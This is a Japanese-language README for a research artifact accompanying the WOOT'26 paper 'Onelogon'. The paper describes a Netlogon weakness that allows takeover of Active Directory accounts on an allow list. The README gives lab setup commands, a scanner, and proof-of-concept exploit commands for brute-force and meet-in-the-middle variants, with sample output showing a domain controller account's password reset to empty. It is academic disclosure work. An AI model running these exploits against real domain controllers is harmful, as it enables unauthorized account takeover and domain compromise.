
Code and data for our paper "Onelogon: Taking over Active Directory Accounts via Netlogon" (WOOT’26).
このリポジトリには、本論文「Onelogon: Netlogonを介したActive Directoryアカウントの乗っ取り」(WOOT'26)に付随するコードとデータが含まれています。
本論文で概説する脆弱性は、Zerologon脆弱性に対する2020年の暗号化パッチの弱点を攻撃するものです。 Netlogonの署名とシーリングをサポートしないレガシー環境をサポートするために設けられたグループポリシーに記載されているアカウントは、この攻撃に対して脆弱です。 脆弱性の詳細な説明、想定される完全な攻撃チェーン、および考えられる緩和策は、論文に記載されています。
@inproceedings{woot2026-onelogon,
title = {{Onelogon: Taking over Active Directory Accounts via Netlogon}},
author = {Neff, Alexander and Holl, Tobias and Borgolte, Kevin},
booktitle = {Proceedings of the 20th USENIX WOOT Conference on Offensive Technologies},
date = {2026-08},
editor = {Bianchi, Antonio and Classen, Jiska},
location = {Baltimore, MD, USA},
publisher = {USENIX Association}
}
本アーティファクトは、スキャナーとエクスプロイトのためのPython poetryプロジェクトで構成されています。
アーティファクトに付属のスクリプトを実行するには、Python(3.12以降)と、poetry(インストール手順)またはuv(インストール手順)のいずれかをインストールしてください。簡略化のため、ここではpoetryを使用していることを前提にコマンドを記載します。uvを使用する場合は、poetryと記載されている箇所をすべてuvに置き換えてください。
このドキュメント内のコマンドは、アーティファクトのルートディレクトリ(このREADMEが置かれている場所)で実行してください。
poetryを使用する場合は、poetry installを実行してすべての依存関係をインストールしてください。
論文の結果を再現するには、Zerologonが修正されたバージョンのWindows Serverを使用してドメインコントローラーをセットアップできます(2019年版と2025年版の両方でエクスプロイトを検証済みです)。
Windows Server 2025の新規インストールでドメインコントローラーをセットアップするには、次のコマンドを実行します:
# Update system and rename computer to "DC"
Install-Module -Name PSWindowsUpdate -Force
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll
Rename-Computer -NewName "DC" -Restart
# Set up the domain (as "onelogon.local")
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "onelogon.local"
# Disable Administrator password expiry to keep the VM usable
Set-ADUser -Identity "Administrator" -PasswordNeverExpires $true
この脆弱性は、_ドメインコントローラー: 脆弱なNetlogonセキュアチャネル接続を許可_グループポリシーオブジェクトのDACL、または対応するレジストリキーに記載されているすべてのアカウントに影響します:
HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList
これらのパラメーターは、ドメインコントローラー上で手動で構成するか(GPOエントリを更新した場合はgpupdate /forceを実行するのを忘れないでください)、次のコマンドを実行してレジストリキーのDACLにすべてのアカウントを追加できます:
Set-GPRegistryValue -Name "Default Domain Controllers Policy" `
-Key "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" `
-ValueName "VulnerableChannelAllowList" `
-Type String `
-Value "O:BAG:BAD:(A;;RC;;;WD)" # Everyone
ドメインコントローラーがVulnerableChannelAllowListにどのアカウントを記載しているかを特定するために、ドメインコントローラーのレジストリハイブとGPOボリューム共有を解析するスキャナーを提供しています。
このスキャンでレジストリにアクセスするにはドメイン管理者権限が必要であることに注意してください(もちろん、エクスプロイトにはそのような権限は必要ありません)。
# Use the specified username and password to scan the target DC.
poetry run scan --dc-ip <IP of target DC> --username <username> --password <password>
# Specify `--help` to get additional usage instructions.
poetry run scan --help
_該当あり_のスキャン結果(ドメインコントローラーに脆弱なアカウントが存在する場合)は、脆弱なアカウントを含むセキュリティ記述子(Microsoftのセキュリティ記述子定義言語で記述)を表示します:
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[+] Found 1 matching policies in SYSVOL Share.
[+] Found vulnerable channel allow list in policy '{6AC1786C-016F-11D2-945F-00C04fB984F9}':
'O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)'
[+] Found VulnerableChannelAllowList registry configuration:
O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)
一方、_該当なし_の結果(対象のDCが_脆弱でない_場合)は次のようになります:
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[-] No matching policies found in SYSVOL Share.
[-] Error while querying registry: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND
- The system cannot find the file specified.
対象のドメインコントローラーに対して概念実証(PoC)エクスプロイトを実行するには、まず脆弱なアカウントを選択します。 ドメインコントローラーのIPアドレス、ホスト名、および脆弱なアカウントの名前が必要です。
この例のセットアップでは、脆弱なドメインコントローラーの名前はDCです。
そのマシンアカウント(DC$)はGPOポリシーに含まれているため、Onelogonに対して脆弱です。
# Run the meet-in-the-middle attack (Section 4.5 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
# Run the 24-bit brute-force with a computer account (Section 4.4 of the paper)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Run the (slow) 32-bit brute-force with a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Run the (very slow) 32-bit brute-force without a computer account
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
参考として、テスト環境に対する中間一致攻撃の成功時の出力を示します:
~$ poetry run onelogon --dc-ip 192.168.108.244 --dc-name DC --username 'DC$'
[+] Namespace(dc_name='DC', dc_ip='192.168.108.244', username='DC$', comp_username=None,
comp_password=None, comp_hash=None, workers=100)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Using flags: (0b100001000111111111111111111111)
1: A IGNORED (Account lockout)
1: B NT3.5 BDC continuous update
1: C RC4 support
1: D IGNORED (Promotion count(deprecated))
1: E Supports BDC handling Changelogs
1: F Supports Restarting full DC sync
1: G Does not require ValidationLevel 2 for nongeneric passthrough
1: H Supports DatabaseRedo
1: I Supports refusal of password changes
1: J Supports NetrLogonSendToSam
1: K Supports generic pass-through
1: L Supports concurrent RPC calls
1: M Supports avoid of user account database replication
1: N Supports avoid of Security Authority database replication
1: O Supports Strong keys
1: P Supports transitive trusts
1: Q IGNORED (Supports DNS trusts)
1: R Supports NetrServerPasswordSet2
1: S Supports NetrLogonGetDomainInfo
1: T Supports cross-forest trusts
1: U No NT4 Emulation
0: V Supports RODC pass-through
0: 0
0: 0
1: W Supports AES 128-bit CFB and SHA2
0: 0
0: 0
0: 0
0: 0
1: X IGNORED (Authenticated RPC via lsass supported)
0: Y Supports secure RPC authentication
0: Z Supports Kerberos for secure channel setup
[*] Estimated total tries without flushing: 2^16 / 2
[+] Starting the brute force attack...
[*] ROUND STATS:
[*] REQ: Took 5.0858272750047036 seconds,
average time per attempt: 0.00286042028965393909 seconds
[*] TRY: Took 120.00023781700293 seconds
[*] CLEANUP: Took 5.999754648655653e-08 seconds
[*] ALL: Took 125.08606619200145 seconds,
average time per attempt: 0.07035211821822354161 seconds
[*]
[*] TOTAL STATS:
[*] TOTAL: 0.10 hours passed, average time per attempt: 0.06760343967316766178 seconds
[*] TRIES: 5538, average tries per cycle: 1846
[*] Estimated progress: 16.90%, estimated time remaining: 0.51 hours
[+] !!!Successfully authenticated DC$ on DC with b'\x00\x00\x00\x00\x11\x11\x04x'!!!
[+] Password set successfully to empty string!
[+] Successfully set the password of DC$ to an empty string!
[+] All tasks have been processed, stopping workers.
[+] All workers have been stopped.
論文の表1の測定結果を再現するには、前のセクションで説明した4つのエクスプロイトをすべて実行します。
完全な攻撃を完了しなくても、予想される攻撃時間を求めることができます。ナイーブな手法では、完全な攻撃には法外なコストがかかるためです。
タイムアウトを待機する32ビットのブルートフォース攻撃の速度は、クライアントチャレンジの有効期間によって制限されます。フルサイクル(10万個のチャレンジを処理可能)には120秒かかります(チャレンジリストがクリアされるまでのタイムアウト)。したがって、予想される攻撃時間は常に$\frac{2^{31}}{100000}\cdot 120\mathrm{s} \approx 29.83\mathrm{d}$となります。
コンピューターアカウントを使用する攻撃(32ビット攻撃と24ビット攻撃の両方)では、出力の**TOTAL STATS**セクションから試行あたりの平均時間$t$を取得してください。32ビット攻撃は平均で$2^{31}$回の試行を必要とするため、合計の予想時間は$2^{31}t$となります。同様に、24ビット攻撃の予想所要時間は$2^{23}t$です。
中間一致アプローチでは、120秒のチャレンジ有効期限の間に、考えられるすべてのクライアント認証情報を試すことはできません。
その代わりに、攻撃の予想時間は、その時間枠内で実行できる認証試行の回数によって決まります。
この数値を得るには、出力の**TOTAL STATS**セクションから_サイクルあたりの平均試行回数_$a$を取得してください。
50%の成功率を得るには平均で$2^{15}$回の認証試行が必要なため、予想される攻撃時間は単純に$2^{15} \cdot a^{-1} \cdot 120\mathrm{s}$となります。
得られる正確な時間は、使用するハードウェアとソフトウェアの正確な構成に依存します。